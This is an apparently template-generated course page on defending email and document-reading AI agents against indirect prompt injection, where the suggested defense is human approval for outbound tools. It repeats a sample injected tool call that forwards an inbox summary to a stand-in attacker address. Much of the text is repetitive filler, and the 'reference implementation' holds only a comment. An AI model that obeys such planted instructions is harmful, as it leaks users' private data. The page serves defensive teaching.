8.11 Indirect Prompt Injection Defense (Week 8 • GenAI Security & Privacy)
1. Core Concept & Internal Working
Indirect Prompt Injection Defense (GenAI Security & Privacy) covers Attacks hidden inside untrusted external inputs (`resumes`, `emails`, `PDFs`, `web pages`, `support tickets`) attempting to hijack agent tools or exfiltrate session context via links/images/tool calls. In production software engineering, it is used to Preventing an email summarizer agent from executing `forward_email(to="attacker@evil.tld", body=inbox_summary)` planted inside an incoming spam email! Mastering its underlying execution rules and edge-case boundaries lets you write reliable, maintainable code.
2. Real-World Engineering Use Case
Preventing an email summarizer agent from executing `forward_email(to="attacker@evil.tld", body=inbox_summary)` planted inside an incoming spam email!
3. Granular Subtopics Covered
- Attacks hidden inside untrusted external inputs (`resumes`: Core foundation of Indirect Prompt Injection Defense: Preventing an email summarizer agent from executing `forward_email(to="attacker@evil.tld", body=inbox_summary)` planted inside an incoming spam email!
- `emails`: Master '`emails`' inside Indirect Prompt Injection Defense across real-world inputs.
- `PDFs`: Master '`PDFs`' inside Indirect Prompt Injection Defense across real-world inputs.
- `web pages`: Master '`web pages`' inside Indirect Prompt Injection Defense across real-world inputs.
- Production Pitfall Guard (Indirect Prompt Injection Defense): Prevent common defect: Allowing an agent that just ingested untrusted external text in the same context window to invoke outbound communication or data-mutation tools without explicit human approval (`Lethal Trifecta`: Private Data + Untrusted Input + Unchecked External Exfiltration)!
- Hands-On Verification (Indirect Prompt Injection Defense): Break the "Lethal Trifecta" by requiring human approval for any external/mutating tool whenever untrusted data entered context.
4. Reference Implementation
# Break the Lethal Trifecta: Private Data + Untrusted Input + Autonomous External Exfiltration MUST NEVER coexist!
5. Common Mistakes to Avoid
- Allowing an agent that just ingested untrusted external text in the same context window to invoke outbound communication or data-mutation tools without explicit human approval (`Lethal Trifecta`: Private Data + Untrusted Input + Unchecked External Exfiltration)!
- Skipping boundary, null/empty, or error-state verification when implementing Indirect Prompt Injection Defense.
- Pushing untested Indirect Prompt Injection Defense changes without clean naming and Git commit context.
6. Hands-On Exercise
Break the "Lethal Trifecta" by requiring human approval for any external/mutating tool whenever untrusted data entered context.
7. Technical Interview Checkpoints
- Q: What problem does Indirect Prompt Injection Defense solve in GenAI Security & Privacy, and what fails if it is misused?
Key Focus: Preventing an email summarizer agent from executing `forward_email(to="attacker@evil.tld", body=inbox_summary)` planted inside an incoming spam email! Guard against: Allowing an agent that just ingested untrusted external text in the same context window to invoke outbound communication or data-mutation tools without explicit human approval (`Lethal Trifecta`: Private Data + Untrusted Input + Unchecked External Exfiltration)! - Q: Explain the internal working of Indirect Prompt Injection Defense (Attacks hidden inside untrusted external inputs (`resumes`, `emails`, `PDFs`, `web pages`, `support tickets`) attempting to hijack agent tools or exfiltrate session context via links/images/tool calls).
Key Focus: Walk step-by-step through Attacks hidden inside untrusted external inputs (`resumes`, `emails`, `PDFs`, `web pages`, `support tickets`) attempting to hijack agent tools or exfiltrate session context via links/images/tool calls with a concrete code example. - Q: How did you apply and verify Indirect Prompt Injection Defense in your hands-on lab?
Key Focus: Break the "Lethal Trifecta" by requiring human approval for any external/mutating tool whenever untrusted data entered context.